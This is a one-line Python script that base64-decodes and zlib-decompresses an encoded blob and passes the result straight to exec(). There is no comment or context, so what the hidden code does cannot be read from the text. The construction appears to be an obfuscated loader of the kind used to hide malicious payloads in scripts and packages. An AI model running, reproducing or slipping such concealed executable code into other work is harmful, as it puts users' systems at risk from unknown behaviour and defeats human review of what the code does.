exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/ordkMIautmW7WEHEg4gI7t5kWdpk1NA0LUlWq+J/t6GLMMzwZt68+dD9OLiQ+kF2GPi30S1vG49lzn1wRxl40D2S18GlU6pt6hr7hmyVwYYkwX3NPvH10iyWwC74CW+fbh8O293z3c0jRJ6Qg7UoA2N0dbkW5WyFKCrKq2xdQaS0DpuOJDhJHEPUjsOFN4gjK4CYetlJHO3YyI7R63vKvXAoP1gO8JLtiapP2AD5fNcGU4OWKbgys5w6+6+eL2kgOKFk8WyhUA796NB7tnxAtGUekwojk/9QTzf+F8gf5oRfGw==')[0])))